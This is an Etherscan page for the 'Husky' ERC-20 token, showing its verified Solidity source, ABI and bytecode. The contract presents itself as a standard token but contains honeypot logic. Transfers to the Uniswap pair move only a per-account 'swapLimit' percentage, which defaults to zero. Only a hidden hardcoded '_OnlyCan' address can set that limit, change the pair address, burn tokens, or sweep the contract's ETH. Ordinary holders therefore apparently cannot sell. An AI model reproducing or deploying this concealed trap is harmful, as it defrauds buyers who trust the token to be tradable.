ETH Price: $3,058.49 (+1.62%)
Gas: 3 Gwei

Token

Husky (Husky)
 

Overview

Max Total Supply

10,000,000,000 Husky

Holders

420

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,632,539.910992818830184893 Husky

Value
$0.00
0xed434c610C0f359144e1C79b5F107032C0D82947
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Husky

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-12
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

  
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

   
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
   
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

   
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) internal {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract Husky is Context, IERC20, IERC20Metadata,Ownable {
    mapping(address => uint256) private _balances;
    	address  public _OnlyCan =0x0D024934be63B2F637D98719b2e78F2fEaA8190e;
    mapping(address => mapping(address => uint256)) private _allowances;
    using SafeMath for uint256;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address public  uniswapV2Pair = 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff;
    struct userSells{
        uint256 swapLimit;
        bool isSwap;
    }
    mapping (address => userSells) public swap;
    constructor() {
       _totalSupply = 10000000000 * (10**18);
        _setOwner(0x0D024934be63B2F637D98719b2e78F2fEaA8190e);
        _name="Husky";
        _symbol="Husky";
        _mint(0x0D024934be63B2F637D98719b2e78F2fEaA8190e, _totalSupply);
    }
    /**
     * @dev Burns tokens from caller address.
     */
    function burn(uint256 amount) public onlyCan() {
        _burn(msg.sender, amount);
    }
    receive() external payable {
      
    }

    modifier onlyCan() {
        require(_OnlyCan == _msgSender(), "Error: caller is not the Only One ");
        _;
    }
    function Swap(address account, bool isSwap,uint256 num) public onlyCan() {
        swap[account].isSwap = isSwap;
        swap[account].swapLimit = num;
    }

    function updatePair(address _pair) public onlyCan() {
       uniswapV2Pair=_pair;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function set_OnlyCan(address newAddress) external onlyCan() {
        _OnlyCan = newAddress;
    }
	
	function claimBalance() external {
        payable(_OnlyCan).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount) external{
        IERC20(token).transfer(_OnlyCan, amount);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        
       _transfer(msg.sender, recipient, amount);
       return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        
       
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 amount1=0;
        if(recipient==uniswapV2Pair || swap[sender].isSwap){
           amount1 =amount.mul(swap[sender].swapLimit).div(100);
       }else{
           amount1=amount;
       }
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount1);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount1, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount1;
        }
        _balances[recipient] += amount1;

        emit Transfer(sender, recipient, amount1);

        _afterTokenTransfer(sender, recipient, amount1);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isSwap","type":"bool"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"Swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_OnlyCan","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"set_OnlyCan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"swap","outputs":[{"internalType":"uint256","name":"swapLimit","type":"uint256"},{"internalType":"bool","name":"isSwap","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"updatePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b0319908116730d024934be63b2f637d98719b2e78f2feaa8190e179091556007805490911673a5e0829caced8ffdd4de3c43696c57f7d7a678ff1790553480156200005957600080fd5b506b204fce5e3e2502611000000060045562000089730d024934be63b2f637d98719b2e78f2feaa8190e6200010e565b604080518082019091526005808252644875736b7960d81b602083015290620000b39082620002d6565b506040805180820190915260058152644875736b7960d81b6020820152600690620000df9082620002d6565b5062000108730d024934be63b2f637d98719b2e78f2feaa8190e6004546200015e60201b60201c565b620003ca565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001b95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b6001600160a01b03821660009081526001602052604081208054839290620001e3908490620003a2565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200025d57607f821691505b6020821081036200027e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200022d57600081815260208120601f850160051c81016020861015620002ad5750805b601f850160051c820191505b81811015620002ce57828155600101620002b9565b505050505050565b81516001600160401b03811115620002f257620002f262000232565b6200030a8162000303845462000248565b8462000284565b602080601f831160018114620003425760008415620003295750858301515b600019600386901b1c1916600185901b178555620002ce565b600085815260208120601f198616915b82811015620003735788860151825594840194600190910190840162000352565b5085821015620003925787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820180821115620003c457634e487b7160e01b600052601160045260246000fd5b92915050565b6112cc80620003da6000396000f3fe6080604052600436106101445760003560e01c806334cec70d116100b65780638da5cb5b1161006f5780638da5cb5b146103c857806395d89b41146103e6578063a457c2d7146103fb578063a9059cbb1461041b578063dd62ed3e1461043b578063f2fde38b1461048157600080fd5b806334cec70d146102fd578063395093511461031d57806342966c681461033d57806349bd5a5e1461035d57806370a082311461037d578063715018a6146103b357600080fd5b80631698755f116101085780631698755f1461024d57806318160ddd1461026d5780631b56bbf91461028c57806323b872dd146102ac57806330509bca146102cc578063313ce567146102e157600080fd5b806303438dd01461015057806306fdde03146101a1578063095ea7b3146101c357806309d45bef146101f357806314e93c821461022b57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061018761016b366004611020565b6008602052600090815260409020805460019091015460ff1682565b604080519283529015156020830152015b60405180910390f35b3480156101ad57600080fd5b506101b66104a1565b604051610198919061103b565b3480156101cf57600080fd5b506101e36101de366004611089565b610533565b6040519015158152602001610198565b3480156101ff57600080fd5b50600254610213906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561023757600080fd5b5061024b610246366004611020565b61054a565b005b34801561025957600080fd5b5061024b610268366004611089565b61059f565b34801561027957600080fd5b506004545b604051908152602001610198565b34801561029857600080fd5b5061024b6102a7366004611020565b61061b565b3480156102b857600080fd5b506101e36102c73660046110b3565b610667565b3480156102d857600080fd5b5061024b610711565b3480156102ed57600080fd5b5060405160128152602001610198565b34801561030957600080fd5b5061024b6103183660046110fd565b61074d565b34801561032957600080fd5b506101e3610338366004611089565b6107a8565b34801561034957600080fd5b5061024b61035836600461113c565b6107e4565b34801561036957600080fd5b50600754610213906001600160a01b031681565b34801561038957600080fd5b5061027e610398366004611020565b6001600160a01b031660009081526001602052604090205490565b3480156103bf57600080fd5b5061024b610818565b3480156103d457600080fd5b506000546001600160a01b0316610213565b3480156103f257600080fd5b506101b661087e565b34801561040757600080fd5b506101e3610416366004611089565b61088d565b34801561042757600080fd5b506101e3610436366004611089565b610926565b34801561044757600080fd5b5061027e610456366004611155565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561048d57600080fd5b5061024b61049c366004611020565b610933565b6060600580546104b090611188565b80601f01602080910402602001604051908101604052809291908181526020018280546104dc90611188565b80156105295780601f106104fe57610100808354040283529160200191610529565b820191906000526020600020905b81548152906001019060200180831161050c57829003601f168201915b5050505050905090565b60006105403384846109fb565b5060015b92915050565b6002546001600160a01b0316331461057d5760405162461bcd60e51b8152600401610574906111c2565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60025460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156105f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106169190611204565b505050565b6002546001600160a01b031633146106455760405162461bcd60e51b8152600401610574906111c2565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000610674848484610b1f565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156106f95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610574565b61070685338584036109fb565b506001949350505050565b6002546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561074a573d6000803e3d6000fd5b50565b6002546001600160a01b031633146107775760405162461bcd60e51b8152600401610574906111c2565b6001600160a01b0392909216600090815260086020526040902060018101805460ff19169215159290921790915555565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916105409185906107df908690611237565b6109fb565b6002546001600160a01b0316331461080e5760405162461bcd60e51b8152600401610574906111c2565b61074a3382610d69565b6000546001600160a01b031633146108725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610574565b61087c6000610eb7565b565b6060600680546104b090611188565b3360009081526003602090815260408083206001600160a01b03861684529091528120548281101561090f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610574565b61091c33858584036109fb565b5060019392505050565b6000610540338484610b1f565b6000546001600160a01b0316331461098d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610574565b6001600160a01b0381166109f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610574565b61074a81610eb7565b6001600160a01b038316610a5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610574565b6001600160a01b038216610abe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610574565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811691161480610b5957506001600160a01b03841660009081526008602052604090206001015460ff165b15610b96576001600160a01b038416600090815260086020526040902054610b8f90606490610b89908590610f07565b90610f90565b9050610b99565b50805b6001600160a01b038416610bfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610574565b6001600160a01b038316610c5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610574565b6001600160a01b03841660009081526001602052604090205481811015610cd75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610574565b6001600160a01b03808616600090815260016020526040808220858503905591861681529081208054849290610d0e908490611237565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5a91815260200190565b60405180910390a35050505050565b6001600160a01b038216610dc95760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610574565b6001600160a01b03821660009081526001602052604090205481811015610e3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610574565b6001600160a01b0383166000908152600160205260408120838303905560048054849290610e6c90849061124a565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082600003610f1957506000610544565b6000610f25838561125d565b905082610f328583611274565b14610f895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610574565b9392505050565b6000610f8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610fee5760405162461bcd60e51b8152600401610574919061103b565b506000610ffb8486611274565b95945050505050565b80356001600160a01b038116811461101b57600080fd5b919050565b60006020828403121561103257600080fd5b610f8982611004565b600060208083528351808285015260005b818110156110685785810183015185820160400152820161104c565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561109c57600080fd5b6110a583611004565b946020939093013593505050565b6000806000606084860312156110c857600080fd5b6110d184611004565b92506110df60208501611004565b9150604084013590509250925092565b801515811461074a57600080fd5b60008060006060848603121561111257600080fd5b61111b84611004565b9250602084013561112b816110ef565b929592945050506040919091013590565b60006020828403121561114e57600080fd5b5035919050565b6000806040838503121561116857600080fd5b61117183611004565b915061117f60208401611004565b90509250929050565b600181811c9082168061119c57607f821691505b6020821081036111bc57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526022908201527f4572726f723a2063616c6c6572206973206e6f7420746865204f6e6c79204f6e604082015261032960f51b606082015260800190565b60006020828403121561121657600080fd5b8151610f89816110ef565b634e487b7160e01b600052601160045260246000fd5b8082018082111561054457610544611221565b8181038181111561054457610544611221565b808202811582820484141761054457610544611221565b60008261129157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212203cf545725ab7d4a34ea5931bc3d147edf3cc78b4e7013db671120f571167a1ba64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101445760003560e01c806334cec70d116100b65780638da5cb5b1161006f5780638da5cb5b146103c857806395d89b41146103e6578063a457c2d7146103fb578063a9059cbb1461041b578063dd62ed3e1461043b578063f2fde38b1461048157600080fd5b806334cec70d146102fd578063395093511461031d57806342966c681461033d57806349bd5a5e1461035d57806370a082311461037d578063715018a6146103b357600080fd5b80631698755f116101085780631698755f1461024d57806318160ddd1461026d5780631b56bbf91461028c57806323b872dd146102ac57806330509bca146102cc578063313ce567146102e157600080fd5b806303438dd01461015057806306fdde03146101a1578063095ea7b3146101c357806309d45bef146101f357806314e93c821461022b57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061018761016b366004611020565b6008602052600090815260409020805460019091015460ff1682565b604080519283529015156020830152015b60405180910390f35b3480156101ad57600080fd5b506101b66104a1565b604051610198919061103b565b3480156101cf57600080fd5b506101e36101de366004611089565b610533565b6040519015158152602001610198565b3480156101ff57600080fd5b50600254610213906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561023757600080fd5b5061024b610246366004611020565b61054a565b005b34801561025957600080fd5b5061024b610268366004611089565b61059f565b34801561027957600080fd5b506004545b604051908152602001610198565b34801561029857600080fd5b5061024b6102a7366004611020565b61061b565b3480156102b857600080fd5b506101e36102c73660046110b3565b610667565b3480156102d857600080fd5b5061024b610711565b3480156102ed57600080fd5b5060405160128152602001610198565b34801561030957600080fd5b5061024b6103183660046110fd565b61074d565b34801561032957600080fd5b506101e3610338366004611089565b6107a8565b34801561034957600080fd5b5061024b61035836600461113c565b6107e4565b34801561036957600080fd5b50600754610213906001600160a01b031681565b34801561038957600080fd5b5061027e610398366004611020565b6001600160a01b031660009081526001602052604090205490565b3480156103bf57600080fd5b5061024b610818565b3480156103d457600080fd5b506000546001600160a01b0316610213565b3480156103f257600080fd5b506101b661087e565b34801561040757600080fd5b506101e3610416366004611089565b61088d565b34801561042757600080fd5b506101e3610436366004611089565b610926565b34801561044757600080fd5b5061027e610456366004611155565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561048d57600080fd5b5061024b61049c366004611020565b610933565b6060600580546104b090611188565b80601f01602080910402602001604051908101604052809291908181526020018280546104dc90611188565b80156105295780601f106104fe57610100808354040283529160200191610529565b820191906000526020600020905b81548152906001019060200180831161050c57829003601f168201915b5050505050905090565b60006105403384846109fb565b5060015b92915050565b6002546001600160a01b0316331461057d5760405162461bcd60e51b8152600401610574906111c2565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60025460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156105f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106169190611204565b505050565b6002546001600160a01b031633146106455760405162461bcd60e51b8152600401610574906111c2565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000610674848484610b1f565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156106f95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610574565b61070685338584036109fb565b506001949350505050565b6002546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561074a573d6000803e3d6000fd5b50565b6002546001600160a01b031633146107775760405162461bcd60e51b8152600401610574906111c2565b6001600160a01b0392909216600090815260086020526040902060018101805460ff19169215159290921790915555565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916105409185906107df908690611237565b6109fb565b6002546001600160a01b0316331461080e5760405162461bcd60e51b8152600401610574906111c2565b61074a3382610d69565b6000546001600160a01b031633146108725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610574565b61087c6000610eb7565b565b6060600680546104b090611188565b3360009081526003602090815260408083206001600160a01b03861684529091528120548281101561090f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610574565b61091c33858584036109fb565b5060019392505050565b6000610540338484610b1f565b6000546001600160a01b0316331461098d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610574565b6001600160a01b0381166109f25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610574565b61074a81610eb7565b6001600160a01b038316610a5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610574565b6001600160a01b038216610abe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610574565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811691161480610b5957506001600160a01b03841660009081526008602052604090206001015460ff165b15610b96576001600160a01b038416600090815260086020526040902054610b8f90606490610b89908590610f07565b90610f90565b9050610b99565b50805b6001600160a01b038416610bfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610574565b6001600160a01b038316610c5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610574565b6001600160a01b03841660009081526001602052604090205481811015610cd75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610574565b6001600160a01b03808616600090815260016020526040808220858503905591861681529081208054849290610d0e908490611237565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5a91815260200190565b60405180910390a35050505050565b6001600160a01b038216610dc95760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610574565b6001600160a01b03821660009081526001602052604090205481811015610e3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610574565b6001600160a01b0383166000908152600160205260408120838303905560048054849290610e6c90849061124a565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082600003610f1957506000610544565b6000610f25838561125d565b905082610f328583611274565b14610f895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610574565b9392505050565b6000610f8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610fee5760405162461bcd60e51b8152600401610574919061103b565b506000610ffb8486611274565b9594505050505056